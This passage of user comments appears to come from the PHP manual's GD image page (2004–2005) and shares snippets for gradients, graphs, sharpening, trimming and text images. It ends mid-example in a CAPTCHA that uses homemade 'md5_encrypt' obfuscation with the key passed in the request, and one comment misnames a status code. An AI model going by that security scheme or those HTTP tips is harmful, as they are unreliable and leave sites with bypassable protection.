The source can be accessed at http://www.bestgames.ro/source/statistics.txt, it was too long to bve posted here.
marc dot van dot nuffel at dudagroup dot com
05-Jun-2005 08:11
Beauty of an example for the gd libary !
http://www.nyphp.org/content/presentations/GDintro

greez
_nu
Adalius
04-Jun-2005 04:48
After being driven batty for a good day and a half at why *any* of the image output functions were giving me the infamous 'The image <path> cannot be displayed, because it contains errors.' message with *no* php error in the source, make sure if you have an auto pre/append script it doesn't have any extra blank lines at the start or the end as they'll cause this problem when the browser tries to view the buffer as an image file.
ceo at l-i-e dot com
20-May-2005 12:50
IMAGETYPE_TIFF_II
IMAGETYPE_TIFF_MM

This may be patently obvious to experts, and I'm sure somehwere in the GD documentation it's spelled out, but...

It would be Really Nifty to have some explanation of the subtle difference between these two documented here...
Michiel van de Vis
12-May-2005 02:08
After testing this more carefully, i noticed a bug.
This can be resolved by replacing the getDeltaArray function by this one:

<?php
function getDeltaArray($col1, $col2, $size)
{
  $r_range = $col1[0] - $col2[0];
  $g_range = $col1[1] - $col2[1];
  $b_range = $col1[2] - $col2[2];

  $delta_r = $r_range/$size;
  $delta_g = $g_range/$size;
  $delta_b = $b_range/$size;

  return array($delta_r, $delta_g, $delta_b);
}
?>

Hope this can be of help for anyone.
Michiel van de Vis
12-May-2005 12:48
Inspirated by several functions below, i wrote a function to create a gradient like in a color picker.
----------------------------------
| COL 1                      COL2|
|                                |
|                                |
|                                |
|                                |
| COL 3                      COL4|
----------------------------------

That is, 4 color which "gradient" to the center of the image.
Not 100% tested, but i believe most errors are gone.

<?php

function imagegradient($x_size,
                       $y_size,
                       $left_upper="FFFFFF", $right_upper="FF0000",
                       $left_lower="000000", $right_lower="000000")
{
  $image = imagecreatetruecolor($x_size,$y_size);
  $right_upper = getColorArray($right_upper);
  $left_upper  = getColorArray($left_upper);
  $left_lower  = getColorArray($left_lower);
  $right_lower = getColorArray($right_lower);

  if(($x_size*$y_size)<=10000)
   $size = 1;
  else
   $size = 5;
  $left  = $left_upper;
  $right = $left_lower;
  list($r, $g, $b) = $left;
  $delta_x1 = getDeltaArray($left, $right_upper, $x_size);
  $delta_x2 = getDeltaArray($right, $right_lower, $x_size);

  for($i=0;$i<$x_size;$i+=$size)
  {
   list($r, $g, $b) = $left;
   for($j=0;$j<$y_size;$j+=$size)
   {
     $delta_y = getDeltaArray($left, $right, $y_size);
     $r = $r - ($delta_y[0]*$size);
     $g = $g - ($delta_y[1]*$size);
     $b = $b - ($delta_y[2]*$size);
     $col = imagecolorallocate($image, round($r), round($g), round($b));
     imagefilledrectangle($image, $i, $j, $i+$size, $j+$size, $col);
   }
   $left[0] = $left[0] - ($delta_x1[0]*$size);
   $left[1] = $left[1] - ($delta_x1[1]*$size);
   $left[2] = $left[2] - ($delta_x1[2]*$size);
   $right[0] = $right[0] - ($delta_x2[0]*$size);
   $right[1] = $right[1] - ($delta_x2[1]*$size);
   $right[2] = $right[2] - ($delta_x2[2]*$size);
  }
  return $image;
}
function getDeltaArray($col1, $col2, $size)
{
  $r_range = $col1[0] - $col2[0];
  $g_range = $col1[1] - $col2[1];
  $b_range = $col1[2] - $col2[2];

  if($r_range<0) $r_range*=-1;
  if($g_range<0) $g_range*=-1;
  if($b_range<0) $b_range*=-1;

  $delta_r = $r_range/$size;
  $delta_g = $g_range/$size;
  $delta_b = $b_range/$size;

  return array($delta_r, $delta_g, $delta_b);
}

function getColorArray($col)
{
   list($r, $g, $b) = sscanf($col, "%2x%2x%2x");
   return array($r, $g, $b);
}
?>
j at jgdataworks dot com
05-May-2005 10:33
Here is a class that I wrote, it supports scaling images on the fly:

scale to desired dimensions
scale to maximum
scale to ratio (relative to 1.0)

it could be easily modified for other features as well.
It can be included in your scripts, or called directly like this: <img src="image.php?img=/imgs/logo.png;sm,200">

Check it out:
http://jgdataworks.com/OSS/Image.class.phps

If you like it, drop me a note.  Thanks.
info at b1g dot de
25-Apr-2005 12:35
Sorry, my function had got a little bug. Here is the corrected one.

<?php
function Graph($data, $w, $h, $titel, $y_titel, $x_titel, $y_start_with_null=true, $x_start_with_null=true)
{
   $typ_farben = array('0000FF', 'FF0000', '006600', 'FF9900', '663300');

   // Maximal- und Minimalwerte ermitteln
   $min_x = 0xFFFFFFFF;
   $max_x = 0x00000000;
   $min_y = 0xFFFFFFFF;
   $max_y = 0x00000000;
   foreach($data as $typ)
   {
       foreach($typ['data'] as $x => $y)
       {
           $min_x = min($min_x, $x);
           $max_x = max($max_x, $x);
           $min_y = min($min_y, $y);
           $max_y = max($max_y, $y);
       }
   }
   reset($data);

   if($y_start_with_null)
       $min_y = 0;
   if($x_start_with_null)
       $min_x = 0;

   // Bild erstellen
   $im = imagecreate($w, $h);

   // Basisfarben registrieren
   $grey = imagecolorallocate($im, 240, 240, 240);
   $black = imagecolorallocate($im, 0, 0, 0);

   // Den Typen Farben zuordnen und im Bild registrieren
   $i = 0;
   foreach($data as $key=>$typ)
   {
       if($i > (count($typ_farben)-1))
           $i = 0;
       $data[$key]['color'] = imagecolorallocate($im, hexdec(substr($typ_farben[$i], 0, 2)), hexdec(substr($typ_farben[$i], 2, 2)), hexdec(substr($typ_farben[$i], 4, 2)));
       $i++;
   }
   reset($data);

   // Grungeruest zeichnen
   imagestring($im, 2, (($w/2) - ((strlen($titel)*6)/2)), 8, $titel, $black);
   imagestring($im, 2, 60, 28, $y_titel, $black);
   imagestring($im, 2, $w-30-(strlen($x_titel)*6), $h-28, $x_titel, $black);
   imageline($im, 40, 30, 40, $h-60, $black);
   imageline($im, 40, $h-60, $w-30, $h-60, $black);
   $graph_width = $w-30-40;
   $graph_height = $h-40-60;
   $x_segment = @($graph_width / ($max_x - $min_x));
   $y_segment = @($graph_height / ($max_y - $min_y));

   // Raster Y-Achse
   $raster_y = ($max_y > (floor($graph_height/22)) ? floor($graph_height/22) : $max_y);
   for($i=$min_y; $i<=$raster_y; $i++)
   {
       $y = ($h-60) - (($i-$min_y)*@($graph_height/($raster_y-$min_y)));
       $zahl = round(($i-$min_y)*@($max_y/($raster_y-$min_y)), 0)+$min_y;
       imageline($im, 36, $y, 40, $y, $black);
       imagestring($im, 2, $max_y < 10 ? 15 : 10, $y-6, $zahl, $black);
   }

   // Raster X-Achse
   $raster_x = ($max_x > floor($graph_width/32)) ? floor($graph_width/32) : $max_x;
   for($i=$min_x; $i<=$raster_x; $i++)
   {
       $x = 40 + (($i-$min_x)*($graph_width/($raster_x-$min_x)));
       $zahl = round(($i-$min_x)*($max_x/($raster_x-$min_x)), 0)+$min_x;
       imageline($im, $x, $h-60, $x, $h-54, $black);
       imagestring($im, 2, $max_x < 10 ? $x-3 : $x-5, $h-45, $zahl, $black);
   }

   // Daten zeichnen
   $last_legend_x = 10;
   foreach($data as $typ)
   {
       // Legende zeichnen
       imagefilledrectangle($im, $last_legend_x, $h-25, $last_legend_x+6, $h-18, $typ['color']);
       imagerectangle($im, $last_legend_x, $h-25, $last_legend_x+6, $h-18, $black);
       $last_legend_x += 10;
       imagestring($im, 2, $last_legend_x, $h-28, $typ['titel'], $typ['color']);
       $last_legend_x += (strlen($typ['titel']) * 6) + 10;

       // Graph zeichnen
       $last_x = 0;
       $last_y = 0;
       foreach($typ['data'] as $x=>$y)
       {
           $new_x = 40+(($x-$min_x)*$x_segment);
           $new_y = ($h-60)-(($y-$min_y)*$y_segment);
           imageline($im, $last_x==0 ? $new_x : $last_x, $last_y==0 ? $new_y : $last_y, $new_x, $new_y, $typ['color']);
           imagefilledrectangle($im, $new_x-1, $new_y-1, $new_x+1, $new_y+1, $typ['color']);
           $last_x = $new_x;
           $last_y = $new_y;
       }
   }

   // Bild ausgeben
   header('Content-Type: image/png');
   imagepng($im);
}
?>
snagnever at gmail dot com
03-Apr-2005 01:27
Here i'm again... i have made little improvements on the last post, so i'll post the new one here. The same that the old one image to "asci"

<?php
//
// image2asci - test script 2
// by sn4g <snagnever@gmail.com>
// 2005 - april - 2

// simple script that read "each" pixel from a image and
// outputs an html colorized version of it.
//

$name = basename($_GET['name']);

$file = "/path/to/images/" . $name;

if( file_exists($file) ) {
   $what = getimagesize($file);

   switch( $what['mime'] ){
   case 'image/png' : $src_id = imagecreatefrompng($file); break;
   case 'image/jpeg': $src_id = imagecreatefromjpeg($file); break;
   case 'image/gif' : $old_id = imagecreatefromgif($file); $src_id = imagecreatetruecolor($what[0],$what[1]); imagecopy($src_id,$old_id,0,0,0,0,$what[0],$what[1]); break;
   default: break;
   }

}
else die("No such file");

if( $src_id ){

   $x_size = imagesx($src_id);
   $y_size = imagesy($src_id);

   // if it really read each pixel, it'd be too slow and heavy. so, here we determine
   // how many pixels the script must 'jump' each loop. tip: y jump must be greater
   // than the x jump, to decrease the distorcion.
   $x_jump = 2;
   $y_jump = 3;

   // char/strings that will construct the image. it's randomly selected after,
   // in the loop. a value in the array will be one pixel in the asci-image.
   $pixel_char = array(0);

   echo "The image is $x_size x $y_size\n";

   echo "<span style='font-size:8px; font-weight:bold;'>";
   echo "<pre>";

   // now it has a 'nested loop' to read 'each' pixel and print it
   for( $y = 0; $y < $y_size; $y+=$y_jump ){

       for( $x = 0; $x < $x_size; $x+=$x_jump ){

           if( $x >= $x_size || $y >= $y_size ) break;

           $rgb = @imagecolorat($src_id, $x, $y);
           $r = ($rgb >> 16) & 0xFF;
           $g = ($rgb >> 8) & 0xFF;
           $b = $rgb & 0xFF;

           if( $x >= $x_size ) break;
           if( $y >= $y_size ) break;

           $pc = rand(0,count($pixel_char)-1);
           $pc = $pixel_char[$pc];

           echo "<font style='color:rgb($r,$g,$b)'>$pc</font>";

       } // end of 'x' loop

       echo "\r\n"; // end of a line

   } // end of 'y' loop
}

?>
jasperbg at gmail dot com
27-Mar-2005 01:14
To those writing a new function to create a generic imagecreatefromfile() function: You are making it needlessly complex. Why not just:

<?php

$image = imagecreatefromstring(file_get_contents("/path/to/image.ext"));

?>
2064*nojunk* at earthlink dot net
18-Mar-2005 11:15
.::SHARPEN YOUR IMAGES::.
---by Alex R. Austin

I became aware that there is just NO image sharpening in PHP4. Thus, writing code for my photo album I found that using resize function "imagecopyresampled" would blur my thumbnails. After not finding any way to sharpen my thumbs I wrote this code. Please keep in mind that PHP is not C++ and speed is somewhat slow. I have optimised my code as far as I could. If you can make it faster be my guest. The 800x600 image gets sharpened on my machine in 9 seconds. A 200x150 thumbnail takes only half a second. Thus, it is not that bad.

<?
$filename='test.jpg';
list($width, $height) = getimagesize($filename);
$img = imagecreatefromjpeg($filename);
$pix=array();

//get all color values off the image
for($hc=0; $hc<$height; ++$hc){
   for($wc=0; $wc<$width; ++$wc){
       $rgb = ImageColorAt($img, $wc, $hc);
       $pix[$hc][$wc][0]= $rgb >> 16;
       $pix[$hc][$wc][1]= $rgb >> 8 & 255;
       $pix[$hc][$wc][2]= $rgb & 255;
   }
}

//sharpen with upper and left pixels
$height--; $width--;
for($hc=1; $hc<$height; ++$hc){
   $r5=$pix[$hc][0][0];
   $g5=$pix[$hc][0][1];
   $b5=$pix[$hc][0][2];
   $hcc=$hc-1;
   for($wc=1; $wc<$width; ++$wc){
       $r=-($pix[$hcc][$wc][0]);
       $g=-($pix[$hcc][$wc][1]);
       $b=-($pix[$hcc][$wc][2]);

       $r-=$r5+$r5; $g-=$g5+$g5; $b-=$b5+$b5;

       $r5=$pix[$hc][$wc][0];
       $g5=$pix[$hc][$wc][1];
       $b5=$pix[$hc][$wc][2];

       $r+=$r5*5; $g+=$g5*5; $b+=$b5*5;

       $r*=.5; $g*=.5; $b*=.5;

//here the value of 0.75 is like 75% of sharpening effect
//Change if you need it to 0.01 to 1.00 or so
//Zero would be NO effect
//1.00 would be somewhat grainy

       $r=(($r-$r5)*.75)+$r5;
       $g=(($g-$g5)*.75)+$g5;
       $b=(($b-$b5)*.75)+$b5;

       if ($r<0) $r=0; elseif ($r>255) $r=255;
       if ($g<0) $g=0; elseif ($g>255) $g=255;
       if ($b<0) $b=0; elseif ($b>255) $b=255;
       imagesetpixel($img,$wc,$hc,($r << 16)|($g << 8)|$b);
   }
}

//save pic
imageinterlace($img,1);
imagejpeg($img,'test_save.jpg',99);
imagedestroy($img);
?>
ozeryumsek
14-Mar-2005 05:33
3 level questionary image:
It shows each 3 level graph
<?php
function drawRating($rating1,$rating2,$rating3) {
   //Creating image area //
   $image = imagecreate(550,100);
   //Describing Colors//
   $back = ImageColorAllocate($image,255,255,255);
   $border = ImageColorAllocate($image,0,0,0);
   $fill = ImageColorAllocate($image,44,81,150);
   //Creating Backside //
   ImageFilledRectangle($image,0,0,302,20,$back);
   ImageFilledRectangle($image,0,30,302,50,$back);
   ImageFilledRectangle($image,0,60,302,80,$back);
   //Creating Filled Side //
   ImageFilledRectangle($image,1,1,$rating1,19,$fill);
   ImageFilledRectangle($image,1,31,$rating2,49,$fill);
   ImageFilledRectangle($image,1,61,$rating3,79,$fill);
   //Creating Borders//
   ImageRectangle($image,0,0,300,20,$border);
   ImageRectangle($image,0,30,300,50,$border);
   ImageRectangle($image,0,60,300,80,$border);
   //Texts //
   ImageString($image,5 , 310, 0 ,"Yetersiz Buldum - %$rateyuz1",$border);
   ImageString($image,5 , 310, 30,"Daha Iyi Olabilir - %$rateyuz2", $border);
   ImageString($image,5 , 310, 60,"Begendim - %$rateyuz3", $border);
   //Picturing//
   imagePNG($image);
   //Deleting from Memory//
   imagedestroy($image);
   }
drawRating (48,26,34);//numbers in paranthesis are amount of levels
?>
KaHa6uc at abv dot bg
14-Mar-2005 01:53
When generating an image (my case was a counter, and I needed to load it every time), some browsers, Opera was this particular case, received the "HTTP/1.1 301 Not Modified" header, so it skipped loading it and took it from the cache. The best workaround for this was to use

   header("HTTP/1.1 202 Accepted");

before sending the image as a direct output:

   header("HTTP/1.1 202 Accepted");
   header("Content-type: image/gif");

Thus the image is now loaded every time ;)

---------------------------------------------------
Division from within invalidates suffering
andreaskalsch at gmx dot de
10-Mar-2005 02:24
You get some trouble if you create an image by using the function imagettfbbox(). The x value is correct but the y value doesn't consider that a text can have more than one line.

The second problem is to find the start position when you want to use imagettftext(), especially by using an angle > 90.

My solution uses some params to generate an image with any text. The image size is as small as possible, but you can add a margin without problems:

params:
$text  >  the string you want to write
$format  >  output format "jpeg" or "png"
$quality  >  jpeg quality, from 1 to 100
$font  >  font path and file
$size  >  font size (px)
$angle  >  angle of text in degrees
$r  >  font color: red part
$g  >  font color: green part
$b  >  font color: blue part
$bgr  >  background color: red part
$bgg  >  bg color: green part
$bgb  >  bg color: blue part
$margin  >  a margin between text and border of pic

code:
<?
if ($text != '')
{
  list(,,$w) = imagettfbbox($size, 0, $font, $text);
  $lines = count(explode("\n", $text));

  // get image size (not exactly)
  $angle_rad = $angle / 180 * pi();
  $h = 2 * $size * $lines;
  $x = round($h * abs(sin($angle_rad)) + $w * abs(cos($angle_rad))) + $size;
  $y = round($h * abs(cos($angle_rad)) + $w * abs(sin($angle_rad))) + $size;

  // get start point for text
  $run_y = - $lines * $size + 1.5 * $size;
  $s_x = round($x / 2 - ($w / 2) * cos($angle_rad) + $run_y * sin($angle_rad));
  $s_y = round($y / 2 + ($w / 2) * sin($angle_rad) + $run_y * cos($angle_rad));

  // create image
  $im = imagecreatetruecolor($x, $y);
  @imageantialias($im, true);
  $bg  = imagecolorallocate ($im, $bgr, $bgg, $bgb);
  $tx  = imagecolorallocate ($im, $r, $g, $b);
  #imagecolortransparent ($im, $bg);
  imagefill($im, 0, 0, $bg);

  // put text
  imagettftext ($im, $size, $angle, $s_x, $s_y, $tx, $font, $text);

  // minimize borders
  // left
  for ($x = 0; $x < imagesx($im); $x++)
  {
   for ($y = 0; $y < imagesy($im); $y++)
   {
     if (imagecolorat($im, $x, $y) != $bg) break(2);
   }
  }
  $left = $x;
  // right
  for ($x = imagesx($im) - 1; $x >= 0; $x--)
  {
   for ($y = 0; $y < imagesy($im); $y++)
   {
     if (imagecolorat($im, $x, $y) != $bg) break(2);
   }
  }
  $right = $x;
  // top
  for ($y = 0; $y < imagesy($im); $y++)
  {
   for ($x = 0; $x < imagesx($im); $x++)
   {
     if (imagecolorat($im, $x, $y) != $bg) break(2);
   }
  }
  $top = $y;
  // bottom
  for ($y = imagesy($im) - 1; $y >= 0; $y--)
  {
   for ($x = 0; $x < imagesx($im); $x++)
   {
     if (imagecolorat($im, $x, $y) != $bg) break(2);
   }
  }
  $bottom = $y;

  // add margin
  $cut = imagecreatetruecolor($right - $left + 1 + $margin * 2, $bottom - $top + 1 + $margin * 2);
  $bg_ = imagecolorallocate ($cut, $bgr, $bgg, $bgb);
  imagefill($cut, 0, 0, $bg_);
  imagecopy ($cut, $im, $margin, $margin, $left, $top, $right - $left + 1, $bottom - $top + 1);

  // output
  if ($format == 'jpeg')
  {
   header("Content-type:image/jpeg");
   imagejpeg($cut,false,$quality);
  }
  elseif ($format == 'png')
  {
   header("Content-type:image/png");
   imagepng($cut);
  }
}
?>

you can download an interface soon: http://aka-fotos.de/scripts.php
rob schifreen
09-Mar-2005 07:23
A google search for "imagecolorgradient horizontal" will show you a modified version of the code by "solanki" (above) which allows a choice between horizontal and vertical gradient fill.

This works very well.

Also note that you need to change any occurrence of  "imagecreate" to "imagecreatetruecolor" if you will be filling an image that has more than 255 rows or columns.  Otherwise the function will not be able to create more than 255 colours and the results will not look right.
domNOSPAMinic at epicwebservices dot net
24-Feb-2005 08:04
Here's a simple function to deinterlace an entire image or a rectangular area of an image.

 - Parameters
$image - the image to operate on
$startodd - set to false to get odd lines, true to get even lines (default: false)
$areax1 - start x value of rectangle (default: 0)
$areay1 - start y value of rectangle (default: 0)
$areax2 - end x value of rectangle (default: width of image)
$areay2 - end y value of rectangle (default: height of image)

<?php
function image_deinterlace(&$image, $startodd, $areax1 = 0, $areay1 = 0, $areax2 = -1, $areay2 = -1) {
   // sanity checking
   if (!is_resource($image)) { return $image; }
   if ($areax2 == -1) { $areax2 = imagesx($image); }
   if ($areay2 == -1) { $areay2 = imagesy($image); }
   if ($areax2 <= $areax1) { return $image; }
   if ($areay2 - $areay1 < 2) { return $image; }

   // if start odd is true, we copy the 2nd line to the 1st
   // if start odd is false, we copy the 1st line to the 2nd
   if ($startodd) {
       for ($y = ($areay1 + 1); $y <= $areay2; $y = $y+2) {
           for ($x = $areax1; $x <= $areax2; $x++) {
               $curpixel = imagecolorat($image, $x, $y);
               imagesetpixel($image, $x, $y - 1, $curpixel);
           }
       }
   } else {
       for ($y = $areay1; $y <= $areay2; $y = $y+2) {
           for ($x = $areax1; $x <= $areax2; $x++) {
               $curpixel = imagecolorat($image, $x, $y);
               if ($y + 1 <= $areay2) {
                   // just in case we're on the boundary
                   imagesetpixel($image, $x, $y + 1, $curpixel);
               }
           }
       }
   }

   return $image;
}
?>
jon
15-Feb-2005 06:31
regarding kp0t's comment on using include() to return image data:

because include() looks for PHP code to process, using it to return binary data will eventually result in an error. some files will include the characters < ? followed by data that PHP will consider junk. much better to use fpassthru().
zuo_yf at yahoo dot com
05-Feb-2005 03:08
I wrote a class for easy to draw string on a picture.
you do only such as:
$string = $_GET['text'];
   $img=new pullImage("image/bar13.png",
8,0,0,"12345678","png");
   $img->setPaintColor(10,222,200);
   $img->setPaintSize(8);
   $img->setDrawText($string);
   $img->DrawText();

here is the pullImage class:

class pullImage{
   var $img_font_size=3;
   var $origin_file_path="";
   var $paint_color=array(0,0,0);
   var $im=0;
   var $poision_x=0;
   var $poision_y=0;
   var $poision_z=0;
   var $pull_text="testing";
   var $pull_image_type="png";
   function pullImage($source_file_path="",$front_size=3,
$p_x=0,$p_y=0,$draw_text="png",$picture_type="png")
{
       $this->img_font_size=$front_size;
       $this->origin_file_path=$source_file_path;
       $this->poision_x=$p_x;
       $this->poision_y=$p_y;
       $this->pull_image_type=$picture_type;
       $this->pull_text=$draw_text;
   }
   function setPaintColor($red=0,$green=0,$blue=0)
   {
       $this->paint_color[0]=$red;
       $this->paint_color[1]=$green;
       $this->paint_color[2]=$blue;
   }
   function setPaintSize($fontsize)
   {
       $this->img_font_size=$fontsize;
   }
   function setImageType($type)
   {
       $this->pull_image_type=$type;
   }
   function setDrawText($txt)
   {
       $this->pull_text=$txt;
   }
   function DrawText()
   {
       $this->im=$this->createImgageFormFile();
       if(!$this->im)
       {
           $this->responseError();
           return;
       }
       $paint_color=$this->fill_solid_color($this->im);
       $c_width  = ImageFontWidth($this->img_font_size) * strlen($this->pull_text);
           $c_height = ImageFontHeight($this->img_font_size);
           $px    = (imagesx($this->im) - $c_width) / 2;
           $py      = (imagesy($this->im)-$c_height)/2;
           $this->pull_header();
           imagestring($this->im, $this->img_font_size,
$px, $py, $this->pull_text, $paint_color);
           $this->pull_Image($this->im);
           imagedestroy($this->im);
   }
   function responseError()
   {
       echo("<p>Can't create image!</p>");
   }
   function pull_header()
   {
       switch(strtolower($this->pull_image_type))
       {
           case "png":
           header("Content-type: image/png");
           break;
           case "jpg":
           header("Content-type: image/jpeg");
           break;
           case "gif":
           header("Content-type: image/gif");
           default:
           header("Content-type: image/png");
           break;
       }
   }
   function pull_Image($im)
   {
       if(!$im)return;
       switch(strtolower($this->pull_image_type))
       {
           case "png":
           @imagepng($im);
           break;
           case "jpg":
           @imagejpeg($im);
           break;
           case "gif":
           @imagegif($im);
           default:
           @imagepng($im);
           break;
       }
   }
   function createImgageFormFile()
   {
       $im=0;
       if($this->origin_file_path=="")
       return $im;
       switch(strtolower($this->pull_image_type))
       {
           case "png":
           $im=@imagecreatefrompng($this->origin_file_path);
           break;
           case "jpg":
           $im=@imagecreatefromjpg($this->origin_file_path);
           break;
           case "gif":
           $im=@imagecreatefromgif($this->origin_file_path);
           default:
           $im=@imagecreatefrompng($this->origin_file_path);
           break;
       }
       if(!$im)
       {
           $im  = @imagecreate (120, 40);                        /* Create a blank image */
           $bgc = @imagecolorallocate ($im, 255, 255, 255);
           @imagefilledrectangle ($im, 0, 0, 120, 40, $bgc);
       }
       return $im;
   }
   function fill_solid_color($im)
   {
       $ret=@imagecolorallocate($im,$this->paint_color[0],
$this->paint_color[1],$this->paint_color[2]);
       return $ret;
   }
}
shadikka at ihatespam dot gmail dot com
28-Jan-2005 03:42
Two stickfigures with different colors:

<?php
 // 0
 $img = imagecreatetruecolor(300,300);
 $bgcol = imagecolorallocate($img,255,255,255);
 $hatcol = imagecolorallocate($img,rand(128,255),rand(128,255),rand(128,255));
 $headcol = imagecolorallocate($img,255,225,205);
 $bodycol = imagecolorallocate($img,0,0,0);
 $eyecol = imagecolorallocate($img,rand(100,200),rand(0,128),rand(128,255));
 $mouthcol = imagecolorallocate($img,rand(128,255),0,0);
 imagefill($img,0,0,$bgcol);
 // 1
 imagefilledellipse($img,60,71,50,50,$headcol);
 imagefilledpolygon($img,array(30,53,60,23,90,53),3,$hatcol);
 imagesetthickness($img,5);
 imageline($img,60,97,60,201,$bodycol);
 imagesetthickness($img,1);
 imagefilledellipse($img,50,65,7,5,$eyecol);
 imagefilledellipse($img,70,65,7,5,$eyecol);
 imagesetthickness($img,8);
 imageline($img,60,201,10,251,$bodycol);
 imageline($img,60,201,110,251,$bodycol);
 imageline($img,60,136,10,186,$bodycol);
 imageline($img,60,136,110,186,$bodycol);
 imagesetthickness($img,3);
 imageline($img,50,80,60,90,$mouthcol);
 imageline($img,60,90,70,80,$mouthcol);
 // 2
 $hatcol = imagecolorallocate($img,rand(128,255),rand(128,255),rand(128,255));
 $headcol = imagecolorallocate($img,255,225,205);
 $bodycol = imagecolorallocate($img,0,0,0);
 $eyecol = imagecolorallocate($img,rand(100,200),rand(0,128),rand(128,255));
 $mouthcol = imagecolorallocate($img,rand(128,255),0,0);
 imagefilledellipse($img,200,71,50,50,$headcol);
 imagefilledpolygon($img,array(170,53,200,23,230,53),3,$hatcol);
 imagesetthickness($img,5);
 imageline($img,200,97,200,201,$bodycol);
 imagesetthickness($img,1);
 imagefilledellipse($img,190,65,7,5,$eyecol);
 imagefilledellipse($img,210,65,7,5,$eyecol);
 imagesetthickness($img,8);
 imageline($img,200,201,150,251,$bodycol);
 imageline($img,200,201,250,251,$bodycol);
 imageline($img,200,136,150,186,$bodycol);
 imageline($img,200,136,250,186,$bodycol);
 imagesetthickness($img,3);
 imageline($img,190,80,200,90,$mouthcol);
 imageline($img,200,90,210,80,$mouthcol);
 // 3
 imagestring($img,2,223,283,"(C) Shadikka",$bodycol);
 imagesetthickness($img,1);
 imagerectangle($img,0,0,299,299,$bodycol);
 header("Content-type: image/png");
 imagepng($img);
 imagedestroy($img);
?>

I have used most basic image functions in the code.
carl at pappenheim dot net
20-Jan-2005 06:43
I notice that there is no pre-made function that is similar to Photoshop's 'trim' function.  I appreciate this is very long-winded (a neater version would probably approach the centre in a sort of spiral movement) but at least it works and, hopefully, is clear.

The tolerance is effectively zero, and it takes the top left pixel (0,0) as being the background colour that is to be trimmed.

$filename = "image_with_white_border.jpg";
$image = imagecreatefromjpeg($filename);
if ($image) {
   $dim = getimagesize($filename);
   $backgnd = ImageColorAt($image,0,0);

   for ($x=0;$x<$dim[0];$x++) {
       for ($y=0;$y<$dim[1];$y++) {
           if (ImageColorAt($image,$x,$y) != $backgnd) {
               $trimx = $x; // found left edge
               break(2);
           }
       }
   }

   for ($x=$dim[0];$x>=0;$x--) {
       for ($y=0;$y<$dim[1];$y++) {
           if (ImageColorAt($image,$x,$y) != $backgnd) {
               $trimx2 = $x; // found right edge
               break(2);
           }
       }
   }

   for ($y=0;$y<$dim[1];$y++) {
       for ($x=0;$x<$dim[0];$x++) {
           if (ImageColorAt($image,$x,$y) != $backgnd){
               $trimy = $y; // found top edge
               break(2);
           }
       }
   }

   for ($y=$dim[1];$y>=0;$y--) {
       for ($x=0;$x<$dim[0];$x++) {
           if (ImageColorAt($image,$x,$y) != $backgnd) {
               $trimy2 = $y; // found bottom edge
               break(2);
           }
       }
   }
   $trimxsize = $trimx2-$trimx;  // calculate x dimension
   $trimysize = $trimy2-$trimy;  // calculate y dimension

   $outimage = imagecreatetruecolor($trimxsize, $trimysize);
   imagecopy($outimage, $image, 0,0, $trimx,$trimy, $trimxsize,$trimysize);

   header('Content-type: image/jpeg');
   imagejpeg($outimage, null, 100);
}
nick at IHATESPAM dot deceptykhan dot com
11-Jan-2005 02:10
Save yourself some head-whacking...Fedora Core 3's PHP does not come with GD enabled by default. For me, subsequent attempts to recompile PHP with GD (including zlib, libjpeg, libpng, etc.) failed harshly. To enable GD with as little as a headache as possible, simply install the php-gd-XXX.rpm (where XXX is your php version and platform, i.e. for me it was php-gd-4.3.10-3.2.i386.rpm - you can find it by searching 'php-gd' on rpmfind.net), restart Apache and take a look at your phpinfo(), you should see GD enabled. Voila!
dotpointer
05-Jan-2005 06:54
About PHP5 and imagejpeg, imagecreatefromjpeg being unknown when GD and libjpeg are installed on UNIX (Slackware).

You need to be sure that you have JPG Support on the server before you use these functions. Use phpinfo() and under the gd-section, see for "JPG Support: Enabled". If you can't see any line like that there, then you're missing support.

My problem was incorrect .configure-path to the libjpeg. I wrote --with-libjpeg-dir, instead of --with-jpeg-dir. Maybe old PHP4-syntax?

Also specifying exactly where libjpeg is located is good:

--with-jpeg-dir=/usr/lib/libjpeg.so.62
thc at forestfactory dot de
29-Nov-2004 09:53
Although there is allready one generic imagecreatfrom* function posted here, I will give you mine:

you may pass the $mime and $size variables by reference for further use (i.e. you can write the image in the original mime-type by settig a variable to "image$mime" and use it as a function). As the function is calling getimagesize() by itself, there is no need to do it again in your own source.

function imagecreatefromfile($file,&$mime,&$size) {
   if (!$size = @getimagesize($file)) {
       trigger_error("imagecreatefromfile($file): failed to open stream: No such file or directory ",E_USER_WARNING);
       return false;
   }
   list($image,$mime) = explode("/",$size["mime"]);
   $mime = strtolower($mime);
   if (!function_exists("imagecreatefrom$mime")) {
       trigger_error("imagecreatefromfile(): Mimetype (<i>$size[mime]</i>) is not supported by this version of GD",E_USER_WARNING);
       return false;
   }
   $createStr = "imagecreatefrom$mime";
   return $createStr($file);
}
neo-maximus at blueyonder dot co dot uk
24-Nov-2004 09:12
Create a user verification image like seen on sites like neopets.  Now with encoded url image source for extra security...

file : image.php
<?php
require_once "encode.php";
$decid = urldecode(md5_decrypt($_REQUEST['id'], $_REQUEST['key']));
header("Content-type: image/png");
$img = imagecreatetruecolor(65, 20);
$white = imagecolorallocate($img, 255, 255, 255);
$brown = imagecolorallocate($img, 255, 51, 51);
imagefill($img, 0, 0, $brown);
imagestring($img, 3, 6, 3, $decid, $white);
imagepng($img, '', 75);
imagedestroy($img);
?>

file : encode.php (with thanks to a post on md5 section)
<?php
function get_rnd_iv($iv_len){
   $iv = '';
   while ($iv_len-- > 0) {
       $iv .= chr(mt_rand() & 0xff);
   }
   return $iv;
}
function md5_encrypt($plain_text, $password, $iv_len = 16){
   $plain_text .= "\x13";
   $n = strlen($plain_text);
   if ($n % 16) $plain_text .= str_repeat("\0", 16 - ($n % 16));
   $i = 0;
   $enc_text = get_rnd_iv($iv_len);
   $iv = substr($password ^ $enc_text, 0, 512);
   while ($i < $n) {
       $block = substr($plain_text, $i, 16) ^ pack('H*', md5($iv));
       $enc_text .= $block;
       $iv = substr($block . $iv, 0, 512) ^ $password;
       $i += 16;
   }
   return base64_encode($enc_text);
}
function md5_decrypt($enc_text, $password, $iv_len = 16){
   $enc_text = base64_decode($enc_text);
   $n = strlen($enc_text);
   $i = $iv_len;
   $plain_text = '';
   $iv = substr($password ^ substr($enc_text, 0, $iv_len), 0, 512);
   while ($i < $n) {
       $block = substr($enc_text, $i, 16);
       $plain_text .= $block ^ pack('H*', md5($iv));
       $iv = substr($block . $iv, 0, 512) ^ $password;
       $i += 16;
   }
   return preg_replace('/\\x13\\x00*$/', '', $plain_text);
}
?>

file : webform.php
with this file simply do your webform as you normally would and simply include the image into the file

i.e
<?php
require_once "encode.php";
